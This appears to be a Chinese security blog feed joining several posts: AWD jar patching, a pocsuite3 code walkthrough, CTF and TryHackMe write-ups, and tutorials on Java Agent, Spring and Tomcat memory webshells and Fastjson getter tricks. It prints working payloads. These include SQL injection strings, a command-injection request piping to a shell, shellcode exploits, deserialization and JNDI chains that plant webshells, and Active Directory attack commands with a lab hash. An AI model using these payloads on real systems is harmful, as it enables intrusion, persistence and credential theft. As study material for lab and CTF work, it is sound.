对比于手动编译打包,反编译成Maven项目更加方便快捷(Maven其实也就是干这个事)
手动仅使用原始Java进行反编译并打包可以参考:AWD离线-Jar文件冷补丁
下面记录反编译成Maven项目并进行修复的步骤
1 | /Library/Java/JavaVirtualMachines/jdk-17.0.11.jdk/Contents/Home/bin/java -cp "/Applications/IntelliJ IDEA.app/Contents/plugins/java-decompiler/lib/java-decompiler.jar" org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true <jar_path> <output_path> |
最新版IDEA的反编译插件需要java17
/BOOT-INF/classes下的源代码复制到/src/main/java 路径下。视check情况选择是否将resources 下资源文件一起导入
BOOT-INF/lib下的依赖复制到项目的lib文件文件夹下(没有这个文件夹,需要自己新建,一般在项目的第一级目录),在文件-项目结构-项目设置-库中将lib文件夹添加为库文件夹,此步骤是解决在离线情况下缺少依赖的问题pom.xml 文件覆盖创建的Maven项目中的pom.xml 文件pom.xml 文件中依赖的版本号,然后使用Maven进行打包,当然也可以直接在在IDEA中点点点。Springboot项目在pom.xml 内置了打包插件,所以选择Maven打包而不是构建成工件的jar或者war包的形式,需要根据实际情况选择如何打包1 | mvn clean package |

以上展示的是打包一个完整的jar包的步骤,成功完成后会在/target 目录输出修复好的jar包文件,直接-jar 运行即可,当然也可以直接选择使用压缩软件对编译好的class文件进行替换,看文章说Bandizip可以保证替换前后jar包和war包的可用性,使用Maczip测试确实出现如下报错

jar uf更新class文件那么除了使用Bandizip还有其他方法可以更新class文件而不影响jar包和war包的可用性呢,答案是肯定的,可以使用jar uf命令来更新class文件
需要注意在jar包内class文件的真实包名,如下图,这里需要在包名前添加BOOT-INF/classes/ 前缀

同时注意根据包名创建文件夹,IDEA中直接把target目录改名为BOOT-INF 即可

命令示例
1 | jar uf vulnspringboot-1.0-SNAPSHOT.jar BOOT-INF/classes/org/example/controller/SCtfController.class |
可以用以下项目作为脚手架:
非常便捷,在main函数中指定要修改的jar包路径,然后在ExamplePatch 类的patch 方法中编写Javassist修改字节码逻辑即可,同样因为jar包结构问题,需要注意BOOT-INF/classes/ 路径问题

修改jar包中class内容
1 | CtClass c1 = new PatchClass("org.example.controller.SCtfController", "BOOT-INF/classes/").getCtClass(); |
修改jar包中依赖的class
1 | PatchLibrary patchLibrary = new PatchLibrary("hessian-4.0.4.jar", "BOOT-INF/lib/"); |
同时也支持直接修改class,主要针对tomcat环境
1 | // we want to change /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/com/ctf/BoardServlet.class |
比较推荐的方法,IDE插件直接修改jar包内容。对于外部包,右键jar包,Add Library ,就可以直接修改了

修改完成后,点击Save(Compile),编译并保存当前修改的java内容,最后点击Build Jar,将编译保存的类文件写入Jar包中
经测试,目前好像没有修改未在jar包中class的功能,对于tomcat环境,可以将classes文件夹压缩并修改为jar后缀即可修改
几种方法优先推荐JarEditor修改jar包,其他思路比如JByteMod直接修改字节码因为普适性不高并没有做演示
同时也测试了arthas用于AWD修复jar包,但由于arthas采用agent原理,有些class并没有被jvm加载导致内存编译功能错误,还是更适用于应急响应以及bug诊断场景

pip直接安装会附带两个可执行文件,pocsuite 对应CLI方式启动,poc-console 对应msf类型的console方式启动
可以从setup.py 和可执行文件源码中发现其实就是运行对应的python文件的方法

分析CLI模式,大概流程非常简单清晰,检查环境->初始化配置->start开始扫描任务

检查环境这个其实就是判断下是否安装在非全英文目录
pocsuite 模仿sqlmap 使用了AttribDict 来存储配置,更改了配置字典的使用方法,方便配置和更改
1 | This class defines the sqlmap object, inheriting from Python data |
原来的字典的用法:dict1["key"],现在的自定义字典的用法:dict1.key
配置文件在pocsuite3/lib/core/data.py

这里使用了模块实现了单例模式,Python 的模块就是天然的单例模式,因为模块在第一次导入时,会生成 .pyc 文件,当第二次导入时,就会直接加载 .pyc 文件,而不会再次执行模块代码。因此,我们只需把相关的函数和数据定义在一个模块中,就可以获得一个单例对象了
set_paths(root_path) 设置路径信息

通过argparse 解析参数,AttribDict 传递配置

这里的配置在其注释里描述的已经很清晰,conf 存储共享的配置和对象,kb 存储目标、注册的POC、扫描的模式、扫描结果等。cmd_line_options 存储原始的命令行配置,merged_options 对应覆盖后参数配置,paths 对应路径信息
自定义了一个输出函数,会根据quiet 的设置判断是否输出,同时做了字符编码、添加颜色的处理,输出使用的是sys.stdout.write 而不是print 这里查了一下print 会多输出一个\n ,这样输出的样式会更好控制一点

init() 里关键的_set_pocs_modules ,pocsuite3/lib/core/option.py

遍历pocs目录加载poc,并判断poc是否匹配条件,最后是调用load_file_to_module 去加载poc。这里可以看到之后pocsuite想要直接从pyc文件加载poc,同时这里有从seebug漏洞库加载poc的提示,但是只是提示,实际的实现逻辑并不是在这

pocsuite3能够从本地和远程网站上加载poc,可以直接用__import__()来加载,但是如果要远程加载,需要自己实现”查找器”与”加载器”,可以参考
https://docs.python.org/zh-cn/3/reference/import.html
这里加载了名为pocs_xxx 的模块

加载的过程,obj 即对应poc文件的源代码,每个poc文件最后都执行register_poc(xxx) ,这里其实就是实例化poc模块,然后放在kb.registered_pocs 里


远程加载的逻辑以poc_from_seebug.py 插件为例从seebug漏洞库加载poc的逻辑大概即获取到poc的源代码后通过load_string_to_module 加载


遍历target和注册的poc存入task队列

这里多线程使用生产者/消费者模型,多个线程来消费一个队列,并没有使用Python线程中推荐的join()来阻塞线程,因为使用join()的话,python将无法响应用户输入的消息了,会导致Ctrl+C退出时没有任何响应,所以以while循环的方式来阻塞线程


taskrun** 函数里最终会调用poc模块父类POCBase的execute 方法,execute 调用**_execute

最后即调用到poc里对应的方法

最后output 是一个AttribDict ,存于kb.results

题目内容:最近,小明在学习php开发,于是下载了thinkphp的最新版,但是却被告知最新版本存在漏洞,你能找到漏洞在哪里吗?
1 |
|
1 | http://eci-2zeh1c14i16ne6hcxxxt.cloudeci1.ichunqiu.com/index.php/?s=index/test |
1 | POST /login.php HTTP/1.1 |
参考虎符2022 - babysql
不同点在于后者过滤的东西
1 | function safe($a) { |
按照之前的来说,之前的payload可以是这样
参考之前我们写过的wp:https://demo.hedgedoc.org/uLxXjonDSMiRRO2o2P3deA#babysql
1 | username=1'||case'1'when'1'then'1'else~0+~0+'1'end='0&password=123 |
这里我们同样构造200和500的不同回显来达到盲注的效果,上面的payload
是使用~0这个东西来达成sql语句报错从而回显500的效果。
0是mysql里面最大的一个整数,如果这个数再加一就会报错下面的错误:(0) + 1)’
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in ‘(
我们再看看上面的过滤,过滤了符号,那我们怎么报错呢?0是多少:
我们可以看看具体
1 | mysql> select ~0; |
那我们直接使用这个数字不就行了?但是还有一个问题,空格怎么办?空格是被过滤掉的
如果直接使用18446744073709551615+1,那么payload长这样:
1 | username=1'||case'1'when'1'then'1'else 18446744073709551615+1 end='0&password=123 |
里面是有2个空格的,但是直接’18446744073709551615’+’1’又不能整数溢出。其实我们想~其实是取反的符号,对0取反才达到了最大整数的效果,那么我们不仅有取反,还有异或等其他位操作,所以我们构造一个异或即可:
最后根据我们的虎符payload来直接开始爆破账号密码
1 | username=1'||case'1'when`username`COLLATE'utf8mb4_0900_as_cs'like'a%'then'1'else'1'^18446744073709551614%252b2^'1'end%253d'0&password=123 |
最后注意爆破的字符集里面的 _ % 等在like语句里面有明确意义的,爆破的时候记得转义一下
最后跑出来的结果:
1 | 账号以及密码 |
后面还有php代码解密以及反序列化生成的一些任务,因为比赛结束了,所以没解出这题,很遗憾
ssrf+crlf
1 | GET /proxy HTTP/1.1 |
要绕
1 | c.Request.URL.RawPath != "" |
1 | GET /proxy HTTP/1.1 |
可以
1 | `touch 123.txt`.crt |
这样来执行命令
1 | GET /proxy HTTP/1.1 |
文件改成功后会有回显
然后 触发命令执行 payload要两次urlencode
1 | GET /createlink HTTP/1.1 |
创建一个crt,将文件名改为echo Y2F0IC9mbGFnCg==|base64 -d|sh -i>>t1.txt
1 | GET /proxy HTTP/1.1 |
1 | GET /createlink HTTP/1.1 |
然后访问文件就有了。

ssrf
思考:
ida
均为标准库函数
考虑curl_easy_setopt的CVE?
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
/proc/self
1 | /home/ctf/cmdbrowser |
/proc/self/environ
1 | REMOTE_HOST=10.0.5.136 |
1 | file:///etc/apache2/sites-available/000-default.conf |
1 | file:///etc/crontab |
1 | tshark -r 2.8.1.pcapng -T fields -e usb.capdata > usbdata2.8.1.txt |
1 | #!/usr/bin/python |

提取出来是:
1 | 526172211a0700Cf907300000d00000000000000c4527424943500300000002a00000002b9f9b0530778b5541d33080020000000666c61672e747874b9ba013242f3afc000b092c229d6e994167c05a78708b271ffc042ae3d251e65536f9ada87c77406b67d0e6316684766a86e844dc81aa2c72c71348d10c43d7b00400700e |
看一下头几个字节,是rar压缩包的格式
需要密码,再提取一下2.10.1的usb流量,里面的内容就是密码
1 | 35c535765e50074a |

libc2.33
首先我们在s处可以输入一个比较大的字符串。

参考2021 ciscn game,先逆出程序指令为opt:1\nmsg:ro0t\r\n格式,在下面三个功能中可以发现,mmap申请了一片4096size的可执行空间,并将s的内容拷贝进去,而需要申请首先需要切换至root。

并且在最后一句直接执行了s,这里基本可以确定是一个写shellcode的思路了。shellcode的地址储存在rdx寄存器上。

这里对我们输入的msg字符串进行了过滤,也就是shellcode必须为可见字符串。之前做过类似的题,可以直接使用工具生成。

这里使用https://github.com/veritas501/ae64的工具,首先使用pwntools模块生成64位shellcode,然后
1 | from pwn import * |
即可生成shellcode。
最后的exp:
1 | from pwn import * |
1 | nc 123.56.111.202 30465 |

755权限直接读
1 | s1 = '1732251413440356045166710055' |
拿到session
1 | GET /send?msg=s HTTP/1.1 |
1 | GET /send?msg=3564782984797810827932590530 HTTP/1.1 |
在 jdk 1.5 之后引入了 java.lang.instrument 包,该包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,通过 java.lang.instrument 实现的工具我们称之为 Java Agent ,Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法
Agent 内存马的实现就是利用了这一特性使其动态修改特定类的特定方法,将我们的恶意方法添加进去
说白了 Java Agent 只是一个 Java 类而已,只不过普通的 Java 类是以 main 函数作为入口点的,Java Agent 的入口点则是 premain 和 agentmain
Java Agent 支持两种方式进行加载:
premain 方法顾名思义,会在我们运行 main 方法之前进行调用,即在运行 main 方法之前会先去调用我们 jar 包中 Premain-Class 类中的 premain 方法
Burpsuite破解版启动时-javaagent参数使用的就是这个方法,下面举一个实际的例子
JDK 1.8.311
idea创建pom项目
1 | public class Main { |
菜单栏File->project stucture,添加Artifacts,选择执行的Main Class

然后菜单栏Build->Build Artifacts,在out目录下可以看到生成的jar文件

创建PremainDemo类,实现premain方法
1 | import java.lang.instrument.Instrumentation; |
MANIFEST.MF,指定Premain-Class
1 | Manifest-Version: 1.0 |
这里使用纯java命令来打包,javac将java文件编译成class文件后,使用jar打包
1 | jar cvfm agent.jar MANIFEST.MF PremainDemo.class |
添加-javaagent 参数,premain在main函数之前执行成功

在实际渗透测试的过程中肯定不能采用这样的方式,所以还是需要启动后加载
在实现 premain 的时候,我们除了能获取到 agentArgs 参数,还可以获取 Instrumentation 实例,Instrumentation 是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果
Transformer 可以对未加载的类进行拦截,同时可对已加载的类进行重新拦截,所以根据这个特性我们能够实现动态修改字节码,更加详细的介绍和方法,可以参照官方文档。
1 | public interface Instrumentation { |
addTransformer 方法来用于注册 Transformer,所以我们可以通过编写 ClassFileTransformer 接口的实现类来注册我们自己的转换器
1 | // 注册提供的转换器 |
这样当类加载的时候,会进入我们自己的 Transformer 中的 transform 函数进行拦截

getAllLoadedClasses 方法能列出所有已加载的 Class,我们可以通过遍历 Class 数组来寻找我们需要重定义的 class

retransformClasses 方法能对已加载的 class 进行重新定义,也就是说如果我们的目标类已经被加载的话,我们可以调用该函数,来重新触发这个Transformer的拦截,以此达到对已加载的类进行字节码修改的效果

在 jdk 1.6 中实现了attach-on-demand(按需附着),我们可以使用 Attach API 动态加载 agent,主要涉及VirtualMachine这个类,有以下几个重要的方法
Attach :该类允许我们通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上
1 | VirtualMachine vm = VirtualMachine.attach(v.id()); |
loadAgent:向jvm注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理。
Detach:从 JVM 上面解除一个代理(agent)
大概流程就是:通过 VirtualMachine 类的 attach(pid) 方法,可以 attach 到一个运行中的 java 进程上,之后便可以通过 loadAgent(agentJarPath) 来将agent 的 jar 包注入到对应的进程,然后对应的进程会调用agentmain方法。

Demo
AgentMainDemo.java
1 | import java.lang.instrument.Instrumentation; |
DefineTransformer.java
1 | import java.lang.instrument.ClassFileTransformer; |
MANIFEST.MF
1 | Manifest-Version: 1.0 |
如果需要修改已经被JVM加载过的类的字节码,那么还需要设置在 MANIFEST.MF 中添加 Can-Retransform-Classes: true 或 Can-Redefine-Classes: true
1 | Can-Retransform-Classes 是否支持类的重新替换 |
打包agent.jar
1 | jar cvfm agent.jar MANIFEST.MF AgentMainDemo.class DefineTransformer.class |
测试类
1 | import com.sun.tools.attach.VirtualMachine; |

这里只是Demo测试,输出了加载的类名
搭建一个cc5的springboot环境
1 | package com.example.agentmemoryshell.controller; |
1 | <parent> |
yso cc5直接打,传base64之后的payload需要再urlencode一次,因为浏览器对+ 号的处理
1 | java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 "open -a calculator" | base64 |
https://github.com/KpLi0rn/AgentMemShell,编写agent,直接劫持doFilter函数
AgentMain.java
1 | import java.lang.instrument.Instrumentation; |
DefineTransformer.java
1 | import javassist.*; |
打包成jar文件
1 | mvn assembly:assembly |
使用自定义代码的ysoserial注入agent,https://github.com/KpLi0rn/ysoserial
agent.java
由于 tools.jar 并不会在 JVM 启动的时候默认加载,所以这里利用 URLClassloader 来加载我们的 tools.jar
1 | try{ |
生成yso payload打过去即可,注意这里选择CommonsCollections11
1 | java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections11 codefile:./agent.java | base64 |

JDK 1.8.0_20,采用FastJson 1.2.47的RCE来创造反序列化漏洞利用点
创建springboot项目

这里先用2.5.13老版本springboot举例,勾选web

pom.xml,添加fastjson依赖
1 | <dependencies> |
创建存在漏洞的controller
1 | package com.example.springmemoryshell.Controller; |
创建恶意代码
1 | //package bitterz.interceptors; |
启动恶意LDAP服务,在8090开启web服务
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#InjectToInterceptor |
直接向vuln路由打fastjson payload,注入Interceptor内存马
1 | content={ |
注入成功

在任意controller下断点分析springboot的处理流程可以看到这里和tomcat的处理流程很像

在经过 Filter 层面处理后,就会进入熟悉的 spring-webmvc 组件 org.springframework.web.servlet.DispatcherServlet 类的 doDispatch 方法中

调用getHandler方法,跟进,可以看到是遍历this.handlerMappings 这个迭代器中的mapper的getHandler 方法处理Http中的request请求

继续追踪,最终会调用到org.springframework.web.servlet.handler.AbstractHandlerMapping 类的 getHandler 方法,并通过 getHandlerExecutionChain(handler, request) 方法返回 HandlerExecutionChain 类的实例

继续跟进getHandlerExecutionChain 方法,会遍历 this.adaptedInterceptors 对象里所有的 HandlerInterceptor 类实例,通过 chain.addInterceptor 把已有的所有拦截器加入到需要返回的 HandlerExecutionChain 类实例中

回到org.springframework.web.servlet.DispatcherServlet 类的 doDispatch 方法中,调用applyPreHandle方法

这里AbstractHandlerMapping 类的applyPreHandle方法,会遍历拦截器,并执行其preHandle方法

之后的话看整体逻辑,执行了handler之后才会执行到controller,即Interceptor在controller之前

如果程序提前在调用的 Controller 上设置了 Aspect(切面),那么在正式调用 Controller 前实际上会先调用切面的代码,一定程度上也起到了 “拦截” 的效果
那么总结一下,一个 request 发送到 spring 应用,大概会经过以下几个层面才会到达处理业务逻辑的 Controller 层:
1 | HttpRequest --> Filter --> DispactherServlet --> Interceptor --> Aspect --> Controller |
由上面的分析,会遍历 this.adaptedInterceptors 对象里所有的 HandlerInterceptor 类实例,通过 chain.addInterceptor 把已有的所有拦截器加入到需要返回的 HandlerExecutionChain 类实例中
HandlerInterceptor 这个接口要求实现preHandle函数,Interceptor 最后的处理也是调用preHandle函数
1 | // |
可以通过context.getBean(“org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping”)获取该对象,再反射获取其中的adaptedInterceptors属性,并添加恶意interceptor实例对象即可完成内存马的注入
创建恶意代码
1 | import org.springframework.web.context.WebApplicationContext; |
启动恶意LDAP服务,在8090开启web服务
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#InjectToController |
直接向vuln路由打fastjson payload,注入controller内存马
1 | content={ |
注入成功

controller处理是在interceptor之后,注入恶意controller也可以达到效果
这里controller具体的调度过程不再分析,注入的流程大体为从context获取到mappingHandlerMapping对象,创建恶意的RequestMappingInfo实例,然后调用mappingHandlerMapping的mappingHandlerMapping注册即可
尝试在springboot 2.6.0之后复现,成功注入内存马,但是访问的时候报错
java.lang.IllegalArgumentException: Expected lookupPath in request attribute "org.springframework.web.util.UrlPathHelper.PATH".
查了一下发现在springboot 2.6.0之后不能有自定义注册RequestMapping的逻辑,应该也是为了防御内存马,除了添加配置目前没有找到比较好的解决方法
https://liuyanzhao.com/1503010911382802434.html
https://blog.csdn.net/maple_son/article/details/122572869
来自landgrey师傅分享
1 | WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext(); |
springboot 2.5.13测试获取失败
1 | WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext()); |
springboot 2.5.13测试获取失败,org.springframework.web.servlet.support.RequestContextUtils 没有getWebApplicationContext方法

1 | WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()); |
springboot 2.5.13测试获取失败,org.springframework.web.servlet.support.RequestContextUtils 没有getWebApplicationContext方法
1 | WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); |
springboot 2.5.13测试成功

1 | // 1. 反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性 |
springboot 2.5.13测试成功
因为applicationContexts,使用了 private static final 修饰符,所以可以直接反射获取属性值,反射的get函数传入任何对象都是可以的,包括null
值得注意的是,因为 org.springframework.context.support.LiveBeansView 类在 spring-context 3.2.x 版本(现在最新版本是 5.3.x)才加入其中,所以比较低版本的 spring 无法通过此方法获得 ApplicationContext 的实例
我在springboot 2.5.14和2.6.0测试只有第一种方法能够成功注册,2.6.0能成功注册但是访问的时候报错,其他在测试的时候因为context缺少getBeanFactory方法失败
1 | // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean |
1 | // 1. 在当前上下文环境中注册一个名为 dynamicController 的 Webshell controller 实例 bean |
1 | context.getBeanFactory().registerSingleton("dynamicController", Class.forName("me.landgrey.SSOLogin").newInstance()); |
本系列主要是补以前落下的知识,参考了很多大师傅的文章,非常感谢师傅们的分享
我这里使用的是idea 2021.2,maven quickstart

右键项目,Add Framework Support

然后配置tomcat,选择Run->Edit Configuration->左上角加号->Tomcat Server(注意不是TomEE)->Local

选择第二个选项卡Deployment->右边的加号->选择Artifact,然后启动tomcat即可

project structure,把tomcat的lib加到libraries里,方便后面调试

添加addfilter.jsp,代码如下
1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> |
启动tomcat后访问addfilter.jsp,注入内存马成功

隐藏内存马访问日志记录可以参考这篇:Tomcat容器攻防笔记之隐匿行踪 - 安全客
创建一个简单的filter
1 | package org.example; |
配置web.xml
1 |
|
也可以使用标记声明
1 | (filterName = "CharsetFilter", |
访问任意路径的时候会执行doFilter方法

众所周知,filter是一个链式调用,跟一下filterChain的生成
org.apache.catalina.core.ApplicationFilterFactory#createFilterChain
1 | ... |
这里涉及三个对象,可以参考师傅的文章:JSP Webshell那些事 – 攻击篇(下)
总结下来:
filterDefs存放了filter的定义,比如名称跟对应的类
filterConfigs除了存放了filterDef还保存了当时的Context
FilterMaps则对应了web.xml中配置的<filter-mapping>,里面代表了各个filter之间的调用顺序

filterChain的生成即遍历FilterMaps ,判断当前请求的servlet或者requestpath是否满足filerMaps限制的范围,如果满足则filterChain添加对应的filterConfigs
接下来继续跟doFilter方法
org.apache.catalina.core.ApplicationFilterChain#doFilter

Globals.IS_SECURITY_ENABLED 默认为false,交由internalDoFilter处理

try中取出filter,然后调用其doFilter方法

最后一个filter的doFilter方法将调用servlet.service
概述地说, FilterChain.doFilter() 方法将调用下一个 Filter.doFilter() 方法;最后一个 Filter.doFilter() 方法中调用的FilterChain.doFilter() 方法将调用目标 Servlet.service() 方法。
根据之前的代码filterconfig和filtermaps是从context里面获取,context的取值获取
org.apache.catalina.core.ApplicationFilterFactory

context实际对应这个类
org.apache.catalina.core.StandardContext
有几个比较重要的函数:
StandardContext.addFilterDef()可以添加filterRefs
StandardContext.addFilterMap()可以添加filtermap
那么Filter类型内存马的创建可以总结为如下步骤:
获取context
当我们能直接获取 request 的时候,可以直接将 ServletContext 转为 StandardContext 从而获取 context
1 | ServletContext servletContext = request.getSession().getServletContext(); |
创建一个恶意Filter,并将其封装成 FilterDef
1 | DefaultFilter filter = new DefaultFilter(); |
添加FilterDef和filterConfigs
1 | standardContext.addFilterDef(filterDef); |
addlistener.jsp
1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> |
访问addlistener.jsp注入内存马即可

Tomcat对于加载优先级是 listener -> filter -> servlet
Listener分为以下几种:
前两种的触发方式都不适合作为内存Webshell
在应用中可能调用的监听器如下:
关注ServletRequestListener,访问任意资源的时候,都会触发requestInitialized方法
javax.servlet.ServletRequestListener

这里ServletRequestEvent类型,可以通过其getServletRequest获取当前request对象,当然也可以直接使用request代表

获取context后直接addApplicationEventListener添加listener即可
创建listener内存马步骤:
addservlet.jsp
1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> |

创建一个普通的servlet
1 | package org.example; |
此时context的状态,可以看到我们的servlet被添加到了children中,对应的是使用StandardWrapper这个类进行封装

一个child对应一个封装了Servlet的StandardWrapper对象,其中有servlet的名字跟对应的类
类似FilterMaps,servlet也有对应的servletMappings,记录了urlParttern跟所对应的servlet的关系
综上所述,Servlet型内存Webshell的主要步骤如下:
1 | ServletContext servletContext = request.getSession().getServletContext(); |
这个方法来自于threedr3am师傅的文章,详细过程就不展开了,看文章即可。获取request之后,就可以获得StandardContext了,这种方法可以兼容tomcat 789,但在Tomcat 6下无法使用。
由于Tomcat处理请求的线程中,存在ContextLoader对象,而这个对象又保存了StandardContext对象,所以很方便就获取了,只可用于Tomcat 8 9
1 | org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); |
1 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> |
nmap扫描端口

enum4linux获取139/445信息,这个工具有探查端口信息,枚举用户名的功能
1 | enum4linux -A 10.10.28.202 |

What tool will allow us to enumerate port 139/445?
enum4linux
What is the NetBIOS-Domain Name of the machine?
THM-AD
What invalid TLD do people commonly use for their Active Directory Domain?
.local
kerbrute枚举用户
1 | kerbrute userenum -d spookysec.local --dc 10.10.210.2 userlist.txt |

What command within Kerbrute will allow us to enumerate valid usernames?
userenum
What notable account is discovered? (These should jump out at you)
svc-admin
What is the other notable account is discovered? (These should jump out at you)
backup
AS-PEP Roasting攻击,对于设置了选项”Do not require Kerberos preauthentication”的用户,可以离线爆破获取用户的hash
先添加dns记录
1 | echo 10.10.194.183 spookysec.local >> /etc/hosts |
获取svc-admin TGT
1 | GetNPUsers.py spookysec.local/svc-admin -no-pass |

hashcat爆破hash,这里m1芯片有点问题
We have two user accounts that we could potentially query a ticket from. Which user account can you query a ticket from with no password?
svc-admin
Looking at the Hashcat Examples Wiki page, what type of Kerberos hash did we retrieve from the KDC? (Specify the full name)
Kerberos 5, etype 23, AS-REP
What mode is the hash?
18200
Now crack the hash with the modified password list provided, what is the user accounts password?
management2005

连接smb服务,获取文件,base64解密
What utility can we use to map remote SMB shares?
smbclient
Which option will list shares?
-l
How many remote shares is the server listing?
6
There is one particular share that we have access to that contains a text file. Which share is it?
backup
What is the content of the file?
YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw
Decoding the contents of the file, what is the full contents?
backup@spookysec.local:backup2517860
backup账户有DCSync权限,直接dumphash
1 | secretsdump.py -just-dc backup@spookysec.local |

What method allowed us to dump NTDS.DIT?
DRSUAPI
What is the Administrators NTLM hash?
0e0363213e37b94221497260b0bcb4fc
What method of attack could allow us to authenticate as the user without the password?
Pass the Hash
Using a tool called Evil-WinRM what option will allow us to use a hash?
-H
pth执行命令

1 | smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc Administrator@spookysec.local |

svc-admin
TryHackMe{K3rb3r0s_Pr3_4uth}
backup
TryHackMe{B4ckM3UpSc0tty}
Administrator
TryHackMe{4ctiveD1rectoryM4st3r}
]]>那么对于一般的不满足条件的getter方法能否进行调用呢
$ref 调用 getter当Fastjson>=1.2.36时,我们可以使用$ref的方式来调用任意的getter
$ref$ref 是fastjson里的引用,引用之前出现的对象
循环引用 · alibaba/fastjson Wiki (github.com)
下面这个例子
1 | package com.vuln; |
JSON.parse后的对象如下

$ref 的值是符合JSONPath语法的,详细可以参考:https://goessner.net/articles/JsonPath/
Test.java
1 | package com.vuln; |
触发代码
1 | import com.alibaba.fastjson.JSON; |

可以看到getCmd方法是不满足特殊getter条件的,不能自动被调用,这里突破了这个限制
到getCmd的调用栈

首先分析fastjson对$ref 的处理逻辑
com.alibaba.fastjson.parser.DefaultJSONParser#parseObject
当遇到引用$ref这种方式,会增加一个resolveTask,留在parse结束后进行处理

com.alibaba.fastjson.parser.DefaultJSONParser#handleResovleTask
ref的value尝试通过getObject获取,这里获取不到,refValue为null,进入JSONPath.eval ,这是JSONPath解析函数,根据ref从value种获取对应的值

JSONPath.eval 最终会调用到getPropertyValue 函数,会尝试调用fieldInfo的get函数或者用反射的方式调用getter
com.alibaba.fastjson.serializer.FieldSerializer#getPropertyValue


1.2.36 版本不行以1.2.35 版本为例,差异主要在
com.alibaba.fastjson.parser.DefaultJSONParser#handleResovleTask
要求refValue不为null,且必须时JSONObject类,根据上面的分析,我们的POC获取到的refValue为null,寄

当Fastjson<=1.2.36时,可以使用这种方法调用任意getter方法,和第一种方法刚好互补
这个方法来自于Tomcat BasicDataSource利用链,四哥的说法是这条链只能用于Fastjson 1.2.24及更低版本(是这个链的利用),可以参考四哥和kingx的分析
Fastjson BasicDataSource攻击链简介 – 绿盟科技技术博客 (nsfocus.net)
Java动态类加载,当FastJson遇到内网 – KINGX
Test.java
1 | package com.vuln; |
触发代码
1 | import com.alibaba.fastjson.JSON; |

巧妙利用了JSONObject.toString ,JSONObject 继承了JSON抽象类
com.alibaba.fastjson.JSON#toString,进行序列化操作,object 转 str

Fastjson使用ASM来代替反射,通过ASM的ClassWriter来生成JavaBeanSerializer的子类,重写write方法,JavaBeanSerializer中的write方法会使用反射从JavaBean中获取相关信息,ASM针对不同类会生成独有的序列化工具类,这里如ASMSerializer_1_Test ,也会调用getter获取类种相关信息,更详细可以参考
ASM在FastJson中的应用 - SegmentFault 思否

那么我们只要在反序列化过程中,找到一处可以使用JSONObject调用toString的地方就可以了
com.alibaba.fastjson.parser.DefaultJSONParser#parseObject

Fastjson在解析的时候如果遇到{,会加一层JSONObject,那么只需将key构造成JSONObject,类似{{some}:x} 即可
com.alibaba.fastjson.parser.DefaultJSONParser#parse

1.2.36版本不行以1.2.37 版本为例
com.alibaba.fastjson.parser.DefaultJSONParser#parse
直接入口点掐了,不再调用toString函数

index.php
1 |
|
flag.php
1 |
|
exp
1 | <?php |
使用GlobIterator列目录, SplFileObject读文件
得出flag.php的源码,反序列化逃逸,然后post path和file得出flag
1 |
|
第一层
1 |
|
$SECRET直接给出,构造hash即可
第二层:
1 |
|
伪随机数,跟着网上文章打就行:https://blog.csdn.net/qq_45521281/article/details/107302795
第三层
1 |
|
复现:https://blog.csdn.net/qq_38783875/article/details/85288671
拿到flag
1 |
|
文件包含,直接session_upload_progress
1 | import io |
注意upload_progress好像有缓存,每次需要更换sessid
/source
source 文件
1 | const express = require('express'); |
两个点,第一个js数组的toString特性来绕过sha1的判断。
第二个,修改content的proto来设置不存在的token1值。
1 | POST /data HTTP/1.1 |
1 | POST /?token2=1900dc271bb39160b01ba20b3fc247bd238cfcc3 HTTP/1.1 |
hbs模板注入信息泄露
https://threezh1.com/2020/12/28/华为HCIE的第一课%20Writeup/#hbs模板注入导致信息泄露

因为可以执行一定的系统命令,其他队的师傅还想到了直接tar打包全部的php的内容,然后下载。单个环境,写入的shell也非常容易被上车。
首先思路是构造pop读getflag.php
1 |
|
调用begin的call方法,读getflag文件。
然后写文件
1 |
|
这里payload要做修改,将s换成\73,左右括号换成\28,\29,content的中的s大写,大概这样。
1 | O:5:"begin":4:{s:4:"file";s:32:"b0eacc6cb3904a848106501cda4d4f25";s:4:"mode";s:5:"write";s:7:"content";S:35:"<?php \73ystem\28"cat _f_l_a_g.php"\29;?>";s:6:"choice";O:5:"write":0:{}} |
